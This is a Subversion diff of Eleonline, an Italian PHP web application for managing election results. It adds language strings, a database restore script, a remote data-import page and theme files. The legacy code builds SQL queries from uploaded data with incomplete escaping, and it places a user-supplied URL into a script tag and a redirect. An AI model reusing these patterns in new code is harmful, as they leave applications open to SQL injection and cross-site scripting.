+define("_CHGPWD","Modifica della Password");
+define("_ERRPWD","ATTENZIONE: ERRORE NELL'INSERIMENTO DELLA PASSWORD!");
+define("_OLDPWD","Vecchia Password");
+define("_NEWPWD1","Nuova Password");
+define("_NEWPWD2","Conferma Nuova Password");
+define("_YES","Si");
+define("_ISCRITTI","Iscritti");
+define("_INSEZ","nella sezione");
+define("_PERC","Perc.");
+define("_DOMAGGIORNA","Vuoi veramente aggiornare il numero di elettori della");
+define("_UPDATE","Aggiorna");
+define("_ERRORE","Errore");
+define("_COME","Come si vota");
+define("_NUMERI","Numeri utili");
+define("_SERVIZI","Servizi");
+define("_LINK","Link utili");
+define("_CONSULTAZIONI","Consultazioni");
+define("_OPERATORI","Operatori");
+define("_AGGIUNGI","Aggiungi");
+define("_COLLEGI","Collegi");
+define("_DEFCOMUNE","Comuni");
+define("_PROV","Capoluogo<br>Provincia");
+define("_CODICE","Codice<br>ISTAT");
+define("_CENTRALINO","Centralino");
+define("_EMAIL","E-mail");
+define("_FILTRO","Inserisci Filtro");
+define("_INSCOMUNE","Autorizza Comuni");
+define("_CONSULTAZIONE_ADM","Consultazione");
+define("_AMMINISTRATORI", "Amministratori");
+define("_PASSWORD","Password");
+define("_RIPETI","Ripeti Password");
+define("_MOD_INSERITI","Modelli gia' inseriti");
+define("_SCELTA_MODELLO","Impostazione dei modelli di stampa per la Prefettura");
+define("_COMPLESSIVO","complessivo");
+define("_CONTR_CONS","Controllo voti alle liste");
+define("_CONTR_GRUP","Controllo voti ai gruppi");
+define("_DATAIN","Data inizio");
+define("_STAMPE_PREF","Stampe per Prefettura");
+define("_ELENCO_STAMPE","Elenco dei modelli di stampa per le comunicazioni alla Prefettura");
+define("_MODELLI","Modelli per stampe");
+define("_DATAFINE","Data fine");
+define("_GEST","Gestione");
+define("_MODIFY","Modifica");
+define("_ESCI","Esci");
+define("_POPOLA","Popola");
+define("_SOSPESO","Sospeso");
+define("_IMPOSTA_DATI","Responsabile");
+define("_INSERISCE_DATI","Operatore");
+define("_UTENTE","Utente");
+define("_PERMESSI","Permessi");
+define("_NULLA","NULLA");
+define("_ATTIVA","ATTIVA");
+define("_ATTIVO","Attivo");
+define("_CHIUSA","CHIUSA");
+define("_ASOLA_LISTA","Alle Liste");
+define("_ASOLO_GRUPPO","Ai Soli Gruppi");
+define("_COLLEGIO","collegio");
+define("_A","a");
+define("_DA","da");
+define("_DI","di");
+define("_COMUNE","Comune");
+define("_VIS_PERC","Visualizza percentuali");
+define("_SEZIONE","Sezione");
+define("_SEZIONI","Sezioni");
+define("_UOMINI","Uomini");
+define("_DONNE","Donne");
+define("_COMPLESSIVI","Complessivi");
+define("_VOTIE","Voti espressi");
+define("_SEZNOS","Sezioni non scrutinate");
+define("_SEZSCR","Sezioni scrutinate");
+define("_LISTA","Lista");
+define("_PREFLISTA","Preferenze di Lista");
+define("_CANDIDATO","Candidato");
+define("_GESAMMIN","Gestione Amministrativa ");
+define("_DESCR","Descrizione");
+define("_IMMCONS","Immissione consultazione");
+define("_DOMCANCELLA","Sicuro di voler cancellare ");
+define("_FUNZIONI","Funzioni di modifica ");
+define("_NEXT_MATCH","Successivi");
+define("_PREV_MATCH","Precedenti");
+define("_NEXT","Successiva");
+define("_PREV","Precedente");
+define("_SCELTA","Scelta");
+define("_SCEGLI","Scegli ");
+define("_SEDE","Sede elettorale ");
+define("_NUM","Numero ");
+define("_IDCONS","Id consult. ");
+define("_IMM","Immissione");
+define("_TEL","Telefono");
+define("_INDIRIZZO","Indirizzo");
+define("_FAX","Fax");
+define("_RESP","Responsabile");
+define("_MASCHI","Maschi ");
+define("_FEMMINE","Femmine ");
+define("_AUT_M","Autorizzati Maschi ");
+define("_AUT_F","Autorizzate Femmine ");
+define("_SCHEDE","Schede ");
+define("_SCHEDE_D","Schede disponibili ");
+define("_SCHEDE_A","Schede autenticate ");
+define("_TOTS","Totali ");
+define("_TOT","Totale ");
+define("_TOTPREF","Totale preferenze");
+define("_GESTIMM","Gestione Logo o Simbolo");
+define("_SIMBOLO","Simbolo");
+define("_INVIOFILE","<font color=\"red\">Invio file (jpg,gif o png) per Logo o Simbolo</font>");
+define("_FILEDAINVIARE","Scegli il file da inviare");
+define("_CANCELLAFILE","<font color=\"red\">Cancella file Logo o Simbolo</font>");
+define("_SCELTAFILE","Scegli il file da cancellare");
+define("_LISTALOGO","Logo della lista");
+define("_COGNOME","Cognome");
+define("_NOME","Nome");
+define("_FOTO","Foto");
+define("_NOTE","Note");
+define("_GESSPOGLIO","Gestione Spoglio Elettorale");
+define("_SPOGLIO","Spoglio");
+define("_VOTI","Voti");
+define("_VOTANTI","Votanti");
+define("_PREFERENZE","Preferenze");
+define("_ORA","Orario");
+define("_TITOLO","Titolo");
+define("_PREAMBOLO","Sommario");
+define("_CONTENUTO","Testo");
+define("_DATA","Data");
+define("_VOTID","Voti Donne");
+define("_VOTIU","Voti Uomini");
+define("_VOTIT","Voti Totali");
+define("_VALIDI","Voti Validi");
+define("_NULLI","Schede Nulle");
+define("_VOTINULLI","Voti Nulli");
+define("_NULLI_LISTE","Voti di Lista Nulli");
+define("_BIANCHI","Schede Bianche");
+define("_CONTESTATI","Voti Contestati");
+define("_CONTESTATI_LISTE","Voti di Lista Contestati");
+define("_TOTALEVOTI","Voti Totali");
+define("_TOT_ULT","Votanti Ultima Ora");
+define("_VOTIINS","Voti Inseriti");
+define("_CANDINS","Candidati Inseriti");
+define("_TOTNON","Tot. Voti non Validi");
+define("_CANDIDATI","Candidati");
+define("_CONSIGLIO","Consiglio Provinciale");
+define("_DATIG","Dati Generali");
+define("_AVENTI","Aventi Diritto");
+define("_SI","Si");
+define("_NO","No");
+define("_AFFLUENZE","Affluenze");
+define("_NOTA","I dati immessi su questo sito, suscettibili di modifiche, sono ufficiosi. Essi hanno valore puramente informativo.");
+define("_ORE","ore");
+define("_ALLE","alle");
+define("_DEL","del");
+define("_STATO","Stato");
+define("_OK","Ok");
+define("_ANCHE","anche");
+define("_VISUALIZZA","Visualizza i dati");
+define("_TIPO","Tipo");
+define("_CONSULTA","Consultazione");
+define("_PERCE","Percentuale");
+define("_RISULTA","Risultati");
+define("_PER","per");
+define("_SEZSCRU","Sezioni scrutinate ");
+define("_SU","su");
+define("_LA","la");
+define("_ADMINID","Utente");
+define("_ADMINCOME","COME SI VOTA - Amministrazione");
+define("_EDITORIAL","Informazioni Generali");
+define("_EDITORIALADMIN","Amministrazione Informazioni");
+define("_EDITINFO","Edita informazione");
+define("_EDIT","Edita");
+define("_ADD","Aggiungi");
+define("_NEW","Nuovo");
+define("_DELETE","Elimina");
+define("_COPIA","Copia");
+define("_STRUTTURA","Struttura");
+define("_ADDCOME","Aggiungi informazione");
+define("_ADDPRES","Aggiungi candidato presidentee");
+define("_ALLCOME","Informazioni presenti");
+define("_REMOVEINFO","Sicuro di voler rimuovere l'informazione? ");
+define("_IMAGE","Immagine informazione");
+define("_CONTINUA","continua <img src=\"images/site.gif\" align=\"center\" border=\"0\">");
+define("_MESSAGEPREAMBLE","Preambolo (max 500 car)");
+define("_ADMINNUMERI","Numeri Utili - Amministrazione");
+define("_ADMINSERVIZI","Servizi Utili - Amministrazione");
+define("_ADMINLINK","Links Utili - Amministrazione");
+define("_CONTR_ESPR","Controllo Voti Espressi");
+define("_CONTR_PREF","Controllo Preferenze");
+// Note
+define("_ENTE","Comune di Guidonia Montecelio (Provincia di Roma)");
+define("_NOTACSV","Note: I dati sono estratti dal sito del ");
+define("_DISC1","Ogni rappresentazione ed uso e' consentita citando la fonte dei dati");
+define("_SITO","http://www.guidonia.org ");
+// Copyright
+define("_SORALDO","SorAldo: Modulo elettorale");
+define("_VERS","versione 0.5 beta ");
+define("_BYNOI","di Luciano Apolito e Roberto Gigli");
+define("_EMAILBY","Email: luciano@aniene.net - rgigli@libero.it");
+define("_NON","Non");
+define("_EXPORT","Esporta");
+define("_TABULA","(formato con tabulazione)");
+define("_GRAFICI","Grafici ");
+define("_ALL","Tutti ");
+define("_MAIN","Qui sono e saranno presenti i dati e i risultati delle
+consultazioni elettorali svolte nel ");
+define("_THEMES","Tema Grafico");
+define("_ACTIVE","Attivo ");
+define("_BLOCCHI","Blocchi laterali");
+define("_BLOCKS","Blocchi");
+define("_MENUCONF","Menu di configurazione dell'aspetto grafico del sito");
+define("_GESFILE","Gestione Files Immagini");
+define("_LOGO","Immagine o logo");
+define("_ELETTORI","Elettori");
+define("_EDIFICIO","Edificio");
+define("_MAPPA","Mappa");
+define("_NUMERITEL","Numeri telefonici");
+define("_DESCRAPP","Descrizione approfondita");
+define("_DESCRLINK","Breve descrizione del link");
+define("_HELPHTML","Sono consentiti tutti i tag HTML. Esempio: <font color=\"#ff0000\">&lt br &gt </font>ritorno a capo</pre>");
+define("_SUPER","S<br>U<br>P<br>E<br>R<br>U<br>S<br>E<br>R");
+define("_ADMIN","A<br>D<br>M<br>I<br>N<br>I<br>S<br>T<br>R<br>A<br>T<br>O<br>R");
+define("_OPER","O<br>P<br>E<br>R<br>A<br>T<br>O<br>R");
+define("_SCELTA_CONS","Scelta della Consultazione");
+define("_WIDGET","Widget");
+define("_PLUGINS","Plugins");
+define("_CONFIGWIDGET","Configurazione dei box laterali");
+
+?>
Index: /trunk/elezioni/trunk/admin/modules/Elezioni/restore.php
===================================================================
--- /trunk/elezioni/trunk/admin/modules/Elezioni/restore.php	(revision 44)
+++ /trunk/elezioni/trunk/admin/modules/Elezioni/restore.php	(revision 44)
@@ -0,0 +1,117 @@
+<?php
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Roberto Gigli & Luciano Apolito                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+/* Modulo Inserimento dati                                              */
+/* Amministrazione                                                      */
+/************************************************************************/
+
+if (!defined('ADMIN_FILE')) {
+    die ("You can't access this file directly...");
+}
+$perms=ChiSei(0);
+if ($perms!=256) die("Non hai i permessi per effettuare questa operazione!");
+
+$param=strtolower($_SERVER['REQUEST_METHOD']) == 'get' ? $_GET : $_POST;
+if (isset($param['datafile'])) get_magic_quotes_gpc() ? $datafile=$param['datafile']:$datafile=addslashes($param['datafile']); else $datafile='';
+include("modules/Elezioni/ele.php");
+ele();
+if (isset($_FILES['datafile']['tmp_name'])) $updfile=$_FILES['datafile']['tmp_name']; else $updfile='';
+ if (!is_uploaded_file($updfile)) 
+# if (!is_uploaded_file($_FILES['datafile']['tmp_name'])) 
+# if (file_exists($datafile))
+	{
+	echo "<form name=\"restore\" enctype=\"multipart/form-data\" method=\"post\" action=\"admin.php\" >"
+	."<input type=\"hidden\" name=\"op\" value=\"restore\">";
+	echo "<input type=\"hidden\" name=\"id_cons_gen\" value=\"$id_cons_gen\">";
+	echo "<input type=\"hidden\" name=\"id_comune\" value=\"$id_comune\">";
+	echo "<table cellspacing=\"0\" cellpadding=\"2\" border=\"1\"><tr class=\"bggray\"><td colspan=\"2\" align=\"center\">"._SEL_DATA_FILE."</td></tr><tr><td><input name=\"datafile\" type=\"file\"></td>";
+	echo "<td align=\"center\"><input type=\"submit\" name=\"add\" value=\""._OK."\"></td></tr></table></form>";
+////////////////////////////
+}else{$datafile=$_FILES['datafile']['tmp_name'];
+$arrFile = file($datafile);
+$handle = fopen($datafile, "r");
+$test=array();
+$errore=0;
+
+// Set counters
+    $currentLine = 0;
+    $cntFile = count($arrFile);
+//    $res_comune = mysql_query("delete from ".$prefix."_ele_lista where id_cons='10'" ,$dbi); if(!$res_comune) echo "delete ".$prefix."_ele_lista where id_cons='10'--- errore di cancellazione".mysql_error();
+// Write contents, inserting $item as first item
+$tabs=array($prefix."_ele_cons_comune",$prefix."_ele_gruppo",$prefix."_ele_lista",$prefix."_ele_candidati",$prefix."_ele_circoscrizione",$prefix."_ele_sede",$prefix."_ele_sezioni",$prefix."_ele_link",$prefix."_ele_come",$prefix."_ele_numeri",$prefix."_ele_servizi",$prefix."_ele_voti_candidati",$prefix."_ele_voti_gruppo",$prefix."_ele_voti_lista",$prefix."_ele_voti_parziale",$prefix."_ele_voti_ref");
+$x=0;
+$scarto=0;
+$conta=array();
+    while( $currentLine <= $cntFile ){
+	$appo=substr($arrFile[$currentLine],1,-2);
+	$conta[$x]=0; 
+	$conf=$tabs[$x];
+	if ($appo==$conf){
+		$currentLine++;
+		while($currentLine <= $cntFile ){
+			if(isset($arrFile[$currentLine])) 
+				$appo=substr($arrFile[$currentLine],1,-2);
+			else $appo='';
+			if(isset($tabs[($x+1)])) 
+				if ($appo==$tabs[($x+1)]){ $x++; break;}
+			elseif($appo=='') { $x++; break;}
+			$conta[$x]++;
+			$currentLine++;
+		}
+	}else {$scarto++;$currentLine++;}
+	}
+if ($scarto==0){
+   $currentLine = 0;
+	$x=0;
+	$y=0;
+    while( $currentLine <= $cntFile ){
+		if(isset($arrFile[$currentLine]))
+			$tab=substr($arrFile[$currentLine],1,-2);
+		else $tab='';
+		if(isset($tabs[$x]))
+			$conf=$tabs[$x];
+		else $conf='';
+		if ($tab==$conf){
+			$currentLine++;
+			while($currentLine <= $cntFile ){
+#				$appo=substr($arrFile[$currentLine],1,-2);
+#				if ($appo==$tabs[($x+1)]){ $x++; break;}
+				if(isset($arrFile[$currentLine]))
+					$appo=substr($arrFile[$currentLine],1,-2);
+				else $appo='';
+				if(isset($tabs[($x+1)]))
+					if ($appo==$tabs[($x+1)]){ $x++; break;}
+				elseif($appo=='') { $x++; break;}
+				if(isset($arrFile[$currentLine]))				
+					$test=explode(':',$arrFile[$currentLine]); if(!is_array($test)) {die("errore di import<br>");}
+				$valori='';
+				foreach($test as $key=>$val)
+					if($key==0){
+						$valori.= "'".base64_decode($val)."'";
+						if ($y==0) {$idcns=$valori;$y++;
+						foreach($tabs as $tbs){
+							$res_del = mysql_query("delete from $tbs where id_cons=$idcns" ,$dbi);
+							} 
+						}
+						if(!$res_del) die ("delete $tbs where id_cons=$idcns--- errore di cancellazione").mysql_error();
+					}else $valori.= ",'".addslashes(base64_decode($val))."'";
+				$res_comune = mysql_query("insert into $tab values($valori)" ,$dbi);	
+				$currentLine++;
+			}
+		}
+
+	}
+} else $errore=1;
+fclose($handle);
+}
+if (isset($errore))
+	if ($errore) die( _MEX_RESTORE_FAILED);
+	else echo _MEX_RESTORE_OK;
+echo"</td></tr></table>";
+include("footer.php");
+
+?>
Index: /trunk/elezioni/trunk/admin/modules/Elezioni/scarica.php
===================================================================
--- /trunk/elezioni/trunk/admin/modules/Elezioni/scarica.php	(revision 44)
+++ /trunk/elezioni/trunk/admin/modules/Elezioni/scarica.php	(revision 44)
@@ -0,0 +1,105 @@
+<?php
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Roberto Gigli & Luciano Apolito                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+/* Modulo gruppo                                                        */
+/* Amministrazione                                                      */
+/************************************************************************/
+if (!defined('ADMIN_FILE')) {
+    die ("You can't access this file directly...");
+}
+
+
+$aid=$_SESSION['aid'];
+$dbi=$_SESSION['dbi'];
+$prefix=$_SESSION['prefix'];
+$currentlang=$_SESSION['lang'];
+$param=strtolower($_SERVER['REQUEST_METHOD']) == 'get' ? $_GET : $_POST;
+$id_cons_gen=intval($param['id_cons_gen']);	
+$perms=ChiSei($id_cons_gen);
+if ($perms<32 or !$id_cons_gen) die("Non hai i permessi per inserire dati, o non hai scelto la consultazione!");
+$id_comune=$_SESSION['id_comune'];
+//$res = mysql_query("SELECT t1.tipo_cons,t2.id_cons FROM ".$prefix."_ele_consultazione as t1, ".$prefix."_ele_cons_comune as t2 where t1.id_cons_gen=t2.id_cons_gen and t2.id_cons_gen='$id_cons_gen' and t2.id_comune='$id_comune' " , $dbi);
+//list($tipo_cons,$id_cons) = mysql_fetch_row($res);
+
+include("modules/Elezioni/funzionidata.php");
+include("modules/Elezioni/ele.php");
+
+if (isset($param['fase'])) $fase=intval($param['fase']); else $fase=0;
+if (isset($param['id_cons_gen2'])) $id_cons_gen2=intval($param['id_cons_gen2']); else $id_cons_gen2='';
+if (isset($param['indirizzoweb'])) get_magic_quotes_gpc() ? $indirizzoweb=$param['indirizzoweb']:$indirizzoweb=addslashes($param['indirizzoweb']); else $indirizzoweb='http://www.eleonline.it/moduli/eleonline2/client/';
+if (isset($param['id_comune2'])) $id_comune2=intval($param['id_comune2']); else $id_comune2='';
+
+/******************************************************/
+/*Funzione di visualizzazione globale                 */
+/*****************************************************/
+function all() {
+   	global $prefix, $dbi,$id_cons_gen,$id_comune,$indirizzoweb,$id_cons_gen2,$id_comune2,$fase;
+
+$bgcolor1=$_SESSION['bgcolor1'];
+$bgcolor2=$_SESSION['bgcolor2'];
+
+if ($fase=='0'){
+
+	echo "<form name=\"import\" action=\"admin.php\">";
+	echo "<table border=\"0\" width=\"100%\"><tr bgcolor=\"$bgcolor2\">";
+	echo "<td><b>"._INDIRIZZOWEB1."</b></td>";
+	echo "<td><input type=\"hidden\" name=\"id_cons_gen\" value=\"$id_cons_gen\"><input type=\"hidden\" name=\"op\" value=\"scarica\"><input type=\"hidden\" name=\"fase\" value=\"1\"><input type=\"text\" name=\"indirizzoweb\" size=\"50\" value=\"".$indirizzoweb."\"></td></tr>";
+	echo "<td><input type=\"submit\" name=\"add\" value=\""._OK."\"></td>";
+echo "</tr></table><br>";
+	echo "</form>";
+}elseif ($fase=='1'){
+$rem_cons="<script type=\"text/javascript\" src=\"$indirizzoweb/file.php?fase=1\"></script>";
+
+	echo "<form name=\"import\" action=\"admin.php\">";
+	echo "<table border=\"0\" width=\"100%\"><tr bgcolor=\"$bgcolor2\">";
+	echo "<td><b>"._INDIRIZZOWEB1."</b></td>";
+	echo "<td><input type=\"hidden\" name=\"id_cons_gen\" value=\"$id_cons_gen\"><input type=\"hidden\" name=\"op\" value=\"scarica\"><input type=\"hidden\" name=\"fase\" value=\"2\"><input type=\"hidden\" name=\"indirizzoweb\" value=\"$indirizzoweb\">$indirizzoweb</td></tr>";
+	echo "<tr><td><b>"._SCARICACONS."</b></td>";
+
+	echo "<td>$rem_cons</td></tr>";
+
+		echo "<tr><td><input type=\"submit\" name=\"add\" value=\""._OK."\"></td>";
+
+echo "</tr></table><br>";
+	echo "</form>";
+	}elseif($fase=='2'){
+
+$res = mysql_query("SELECT descrizione from ".$prefix."_ele_consultazione WHERE id_cons_gen=$id_cons_gen2",$dbi);
+list($descrcons) = mysql_fetch_row($res);
+$rem_cons="<script type=\"text/javascript\" src=\"$indirizzoweb/file.php?fase=2&id_cons_gen2=$id_cons_gen2\"></script>";
+
+	echo "<form name=\"import\" action=\"admin.php\">";
+	echo "<table border=\"0\" width=\"100%\"><tr bgcolor=\"$bgcolor2\">";
+	echo "<td><b>"._INDIRIZZOWEB1."</b></td>";
+	echo "<td><input type=\"hidden\" name=\"id_cons_gen\" value=\"$id_cons_gen\"><input type=\"hidden\" name=\"op\" value=\"scarica\"><input type=\"hidden\" name=\"fase\" value=\"3\"><input type=\"hidden\" name=\"indirizzoweb\" value=\"$indirizzoweb\">$indirizzoweb</td></td></tr>";
+$cons_rem=$_GET[($id_cons_gen2)];
+echo "<tr><td><b>"._CONSULTA.":</b></td><td>$cons_rem</td></tr>";
+	echo "<tr><td><b>"._SCELTACOMUNE."</b></td><td>$rem_cons</td></tr>";
+
+		echo "<tr><td><input type=\"submit\" name=\"add\" value=\""._OK."\"></td>";
+
+echo "</tr></table><br>";
+	echo "</form>";
+
+	}elseif ($fase=='3'){
+
+$id_cons_gen2=$_GET['id_cons_gen2'];
+$id_comune2=$_GET['id_comune2'];
+Header("Location: $indirizzoweb/modules.php?op=backup&id_cons_gen=$id_cons_gen2&id_comune=$id_comune2");
+
+	} 
+}
+
+if ($fase!='3') ele();
+all();
+echo"</td></tr></table>";
+include("footer.php");
+
+
+
+
+?>
Index: /trunk/elezioni/trunk/admin/modules/index.html
===================================================================
--- /trunk/elezioni/trunk/admin/modules/index.html	(revision 44)
+++ /trunk/elezioni/trunk/admin/modules/index.html	(revision 44)
@@ -0,0 +1,1 @@
+ 
Index: /trunk/elezioni/trunk/admin/temi/altro/index.php
===================================================================
--- /trunk/elezioni/trunk/admin/temi/altro/index.php	(revision 44)
+++ /trunk/elezioni/trunk/admin/temi/altro/index.php	(revision 44)
@@ -0,0 +1,38 @@
+<?php
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Roberto Gigli & Luciano Apolito                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+
+// tema
+$bgcolor="#b0b0b0";
+$nometema=$tema;
+function testata($tema){
+global $nometema,$id_comune,$id_cons_gen,$aid,$dbi,$prefix;
+$nometema=$tema;
+$res_com = mysql_query("SELECT descrizione FROM ".$prefix."_ele_comuni where id_comune='$id_comune'",$dbi);
+$res_cons = mysql_query("SELECT descrizione FROM ".$prefix."_ele_consultazione where id_cons_gen='$id_cons_gen'",$dbi);
+list($descr_comune) = mysql_fetch_row($res_com);
+list($descr_consultazione) = mysql_fetch_row($res_cons);
+
+echo "<div class=\"container\"><table width=\"95%\"  border=\"0\" cellpadding=\"0\" cellspacing=\"0\" class=\"table-main\">
+<tr><td bgcolor=\"#000000\"><font color=\"#ffffff\"><b>"._COMUNE." "._DI." $descr_comune  $descr_consultazione "; 
+if ($aid) echo "["._UTENTE.":<font color=\"#ffff00\">$aid</font>]";
+echo "</b></font></td></tr></table>";
+echo "<table  width=\"95%\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" class=\"table-main\">
+<tr> <td align=\"left\" valign=\"top\" colspan=\"2\">";
+    
+
+}
+
+function piede(){
+
+
+}
+
+
+
+// end
+?>
Index: /trunk/elezioni/trunk/admin/temi/altro/style.css
===================================================================
--- /trunk/elezioni/trunk/admin/temi/altro/style.css	(revision 44)
+++ /trunk/elezioni/trunk/admin/temi/altro/style.css	(revision 44)
@@ -0,0 +1,254 @@
+a:link {
+	text-decoration: none;
+	color: #660033;
+}
+a:visited {
+	text-decoration: none;
+	color: #660000;
+}
+a:hover {
+	color: #CC2222;
+}
+
+body , html {
+	font-family: Verdana, Arial, Helvetica, sans-serif;
+	font-size: 10px;
+	font-style: normal;
+	font-weight: normal;
+	margin-right: 0;
+	margin-left: 0;
+	margin-top: 0;
+	text-align: left;
+	background-color: #FFFFFF;
+	color: #333333;
+}
+/*
+div#container{
+    width: 550px;
+    margin: 0px auto;   
+    text-align: left;   
+    }
+*/
+
+td {
+	font-family: Verdana, Arial, Helvetica, sans-serif;
+	font-size: 10px;
+	margin: 0;
+}
+hr {
+	color: #FFFFFF;
+	background-color: #FFFFFF;
+	border-bottom: 1px dotted #CCCCCC;
+}
+form {
+	
+	font-size: 10px;
+	color: #000066;
+	text-decoration: none;
+	margin-right: 0px;
+	margin-left: 0px;
+	margin-top: 0px;
+	margin-bottom: 0px;
+	width: 100%;
+}
+p {
+	font-family: Verdana, Arial, Helvetica, sans-serif;
+	font-size: 10px;
+	padding-right: 8px;
+	padding-bottom: 0px;
+	padding-left: 8px;
+	padding-top: 0px;
+	margin: 2px 2px 4px;
+}
+h1 {
+	font-size: 16px;
+	font-weight: bold;
+	color: #222266;
+	text-decoration: none;
+	border-bottom-width: 1px;
+	border-bottom-style: dotted;
+	border-bottom-color: #222266;
+	margin-top: 6px;
+	margin-bottom: 8px;
+	padding-right: 0px;
+	padding-left: 0px;
+}
+h2 {
+	font-size: 14px;
+	font-weight: bold;
+	color: #660000;
+	text-decoration: none;
+	border-bottom-width: 1px;
+	border-bottom-style: dotted;
+	border-bottom-color: #CCCCCC;
+	margin-top: 9px;
+	margin-bottom: 2px;
+	padding-right: 1px;
+	padding-left: 4px;
+}
+h4 {
+	font-size: 14px;
+	color: #003366;
+	text-decoration: none;
+	background-position: center;
+	bottom: 9px;
+	margin: 20px;
+	text-align: center;
+	border: 1px dotted #666666;
+	padding: 2px;
+	width: auto;
+	background-color: #EEEFEF;
+	font-variant: small-caps;
+}
+h5 {
+	font-size: 14px;
+	font-weight: bold;
+	color: #333333;
+	text-decoration: none;
+	border-bottom-width: 1px;
+	border-bottom-style: dotted;
+	border-bottom-color: #CCCCCC;
+	margin-top: 0px;
+	margin-bottom: 4px;
+	padding-right: 1px;
+	padding-left: 4px;
+	background-color: #EFEFEF;
+	background-position: center;
+	text-align: center;
+}
+h6 {
+	font-size: 10px;
+	font-weight: bold;
+	color: #333333;
+	text-decoration: none;
+	border-bottom-style: dotted;
+	padding-left: 4px;
+	background-position: center;
+	border-bottom-color: #EEEEEE;
+	border-bottom-width: 1px;
+	padding-top: 3px;
+	padding-right: 2px;
+	padding-bottom: 0px;
+	bottom: 9px;
+	margin-top: 1px;
+	margin-bottom: 3px;
+}
+
+
+
+
+.modulo {
+	text-decoration: none;
+	border: 1px dotted #666699;
+		font-size: 10px;
+}
+
+.modulo-button {
+	color: #663366;
+	text-decoration: none;
+	background-color: #FFFFEE;
+	border: 1px dotted #660033;
+	width: 50%;
+	text-align: center;
+	font-size: 10px;
+	padding: 3px;
+}
+.modulosmall {
+	font-size: 9px;
+	color: #000066;
+	text-decoration: none;
+	background-color: #FFFFFF;
+	border: 0px;
+	width: 100%;
+	margin: 0px;
+	padding: 2px;
+}
+.modulo-table {
+	font-size: 14px;
+	color: #000066;
+	text-decoration: none;
+	background-color: #FFFFFF;
+	border-top: 1px dotted #000033;
+	border-bottom: 1px dotted #000033;
+	width: 100%;
+}
+.modulo-titolo {
+	font-size: 12px;
+	font-weight: bold;
+	color: #336633;
+	text-decoration: none;
+	border-top: 1px dotted #000033;
+	margin-top: 10px;
+	margin-bottom: 0px;
+	margin-right: 0px;
+	margin-left: 0px;
+	padding: 0px;
+	background-color: #EFEFEF;
+	text-align: left;
+	width: 100%;
+}
+.table-main {
+	border: 1px solid #DEDEDC;
+	font-size: 10px;
+	background-position: center top;
+	padding: 0px;
+	color: #666666;
+}
+.table-central {
+	border-top-width: 1px;
+	border-right-width: 1px;
+	border-bottom-width: 1px;
+	border-left-width: 1px;
+	border-right-style: dotted;
+	border-left-style: dotted;
+	border-top-color: #CC3300;
+	border-right-color: #CC3300;
+	border-bottom-color: #CC3300;
+	border-left-color: #CC3300;
+	border-top-style: none;
+	border-bottom-style: none;
+	height: 100%;
+	width: 100%;
+	margin: 0px;
+	padding: 8px;
+}
+.table-info {
+	font-size: 10px;
+	padding-right: 4px;
+	padding-bottom: 2px;
+	padding-left: 2px;
+	padding-top: 4px;
+	margin: 2px 2px 4px;
+}
+.table-main-secondary {
+	background-position: center top;
+	border-top: none;
+	border-left: 1px dotted #DEDEDC;
+	border-bottom: none;
+	border-right: none;
+}
+.table-docs {
+	font-size: 9px;
+	padding: 1px;
+	color: #666666;
+	margin: 4px 4px 40px;
+	border-bottom: thin dotted #666666;
+}
+
+
+
+.tavola {
+	background-image: url(images/back.gif);
+	font-size: 10px;
+	border: none;
+	color: #330000;
+}
+	
+.piccolo {
+	BACKGROUND: none; 
+	COLOR: #cccccc; 
+	FONT-SIZE: 8px; 
+	FONT-WEIGHT: normal; 
+	FONT-FAMILY: Verdana, Helvetica; 
+	TEXT-DECORATION: none}
+
Index: /trunk/elezioni/trunk/admin/temi/default/index.php
===================================================================
--- /trunk/elezioni/trunk/admin/temi/default/index.php	(revision 44)
+++ /trunk/elezioni/trunk/admin/temi/default/index.php	(revision 44)
@@ -0,0 +1,38 @@
+<?php
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Roberto Gigli & Luciano Apolito                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+
+// tema
+$bgcolor="#b0b0b0";
+$nometema=$tema;
+function testata($tema){
+global $nometema,$id_comune,$id_cons_gen,$aid,$dbi,$prefix;
+$nometema=$tema;
+$res_com = mysql_query("SELECT descrizione FROM ".$prefix."_ele_comuni where id_comune='$id_comune'",$dbi);
+$res_cons = mysql_query("SELECT descrizione FROM ".$prefix."_ele_consultazione where id_cons_gen='$id_cons_gen'",$dbi);
+list($descr_comune) = mysql_fetch_row($res_com);
+list($descr_consultazione) = mysql_fetch_row($res_cons);
+
+echo "<div class=\"container\"><table width=\"95%\"  border=\"0\" cellpadding=\"0\" cellspacing=\"0\" class=\"table-main\">
+<tr><td bgcolor=\"#000000\"><font color=\"#ffffff\"><b>"._COMUNE." "._DI." $descr_comune  $descr_consultazione "; 
+if ($aid) echo "["._UTENTE.":<font color=\"#ffff00\">$aid</font>]";
+echo "</b></font></td></tr></table>";
+echo "<table  width=\"95%\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" class=\"table-main\">
+<tr> <td align=\"left\" valign=\"top\" colspan=\"2\">";
+    
+
+}
+
+function piede(){
+
+
+}
+
+
+
+// end
+?>
Index: /trunk/elezioni/trunk/admin/temi/default/style.css
===================================================================
--- /trunk/elezioni/trunk/admin/temi/default/style.css	(revision 44)
+++ /trunk/elezioni/trunk/admin/temi/default/style.css	(revision 44)
@@ -0,0 +1,254 @@
+a:link {
+	text-decoration: none;
+	color: #660033;
+}
+a:visited {
+	text-decoration: none;
+	color: #660000;
+}
+a:hover {
+	color: #CC2222;
+}
+
+body , html {
+	font-family: Verdana, Arial, Helvetica, sans-serif;
+	font-size: 10px;
+	font-style: normal;
+	font-weight: normal;
+	margin-right: 0;
+	margin-left: 0;
+	margin-top: 0;
+	text-align: left;
+	background-color: #FFFFFF;
+	color: #333333;
+}
+/*
+div#container{
+    width: 550px;
+    margin: 0px auto;   
+    text-align: left;   
+    }
+*/
+
